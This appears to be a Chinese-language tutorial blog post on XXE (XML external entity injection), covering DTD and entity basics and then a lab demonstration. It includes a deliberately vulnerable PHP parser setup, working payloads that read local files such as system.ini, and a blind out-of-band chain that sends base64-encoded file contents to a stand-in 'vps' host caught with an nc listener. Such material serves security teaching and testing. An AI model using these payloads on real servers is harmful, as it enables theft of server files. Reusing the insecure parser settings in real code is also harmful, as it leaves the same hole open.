XXE漏洞总结

XXE简介

1
XXE漏洞全称XML External Entity Injection 即xml外部实体注入漏洞,XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站、发起dos攻击等危害

XXE基本知识

XML文档示例

1
2
3
4
5
6
7
8
9
10
11
12
<!--XML声明-->
<?xml version="1.0" encoding="UTF-8"?>

<!--DTD,文档类型声明--> <!DOCTYPE note [
<!ELEMENT note (body)>
<!ELEMENT body (#PCDATA)>
<!ENTITY writer "hello word"> ]>

<!--文档元素-->
<note>
<body>&writer</body>
</note>

DTD

XML文档包括XML声明,DTD文档类型定义(可选),文档元素。

1
2
3
4
5
内部声明DTD:    
<!DOCTYPE 根元素 [元素声明]>

引用外部DTD:
<!DOCTYPE 根元素 SYSTEM "文件名">

DTD中的关键字:

1
2
3
DOCTYPE(声明)    
ENTITY(实体声明)
SYSTEM PUBLIC(外部资源申请)

通用实体&参数实体

通用实体

1
用 &实体名; 引用的实体,他在DTD 中定义,在 XML 文档中引用

参数实体

1
2
3
使用 % 实体名(这里面空格不能少) 在 DTD 中定义,并且只能在 DTD 中使用 %实体名; 引用
只有在 DTD 文件中,参数实体的声明才能引用其他实体
和通用实体一样,参数实体也可以外部引用

总结:

1
2
参数实体(用%声明,用%引用。 DTD中声明,DTD中引用)            
其余实体(直接用实体名称声明,使用&引用。 DTD中声明,xml中引用)

XXE攻击利用

有回显读本地非敏感文件

服务器源代码:xml.php

1
2
3
4
5
6
7
8
<?php
libxml_disable_entity_loader (false);
$xmlfile = file_get_contents('php://input');
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
$creds = simplexml_import_dom($dom);
echo $creds;
?>

payload

1
2
3
4
<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE creds [
<!ENTITY xxe SYSTEM "file:///c:/windows/system.ini"> ]>
<creds>&xxe;</creds>

结果

picture

有回显读本地敏感文件

想要读取C盘下whoami.txt文件,这里文件中包含&&&<>敏感字符

picture

发现报错了,因为txt文件的<字符会被xml解析器当作新元素的开始,那如何解决这个问题,我们需要了解一下:CDATA

picture

CDATA指的是不应由XML解析器进行解析的文本数据。CADATA中的所有内容都会被XML解析器忽略。
payload

1
2
3
4
5
6
7
8
9
10
11
12
13
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root[
<!ENTITY % start "<![CDATA[">
<!ENTITY % xxe SYSTEM "file:///c:/whoami.txt">
<!ENTITY % end "]]>">
<!ENTITY % aaa SYSTEM "http://vps/evil.dtd">
%aaa;]>

<root>&all;</root>

evil.dtd
<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY all "%start;%xxe;%end;">

无回显外带请求读取文件

xml.php

1
2
3
4
5
6
<?php
libxml_disable_entity_loader (false);
$xmlfile = file_get_contents('php://input');
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
?>

evil.dtd

1
2
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///C:/windows/system.ini">
<!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://vps:7777?p=%file;'>">

payload

1
2
3
4
<!DOCTYPE root[ 
<!ENTITY % remote SYSTEM "http://vps/evil.dtd">
%remote;%int;%send;
]>

vps监听7777端口

1
nc -lvp 7777

picture

调用过程:
在payload中看到连续调用了三个请求实体%remote;%int;%send;,首先%remote先调用,调用后请求7777端口的evil.dtd文件,然后%int调用evil.dtd中的%file,%file就会去获取服务器上的system.ini文件,然后将返回的结果进行base64编码再填充到%send中(实体内容不能有%,所以进行html编码为%),调用%send,将内容发到我们监听的服务器上(这里我用本机演示的),这就实现了外带数据的效果,解决了XXE无回显的问题。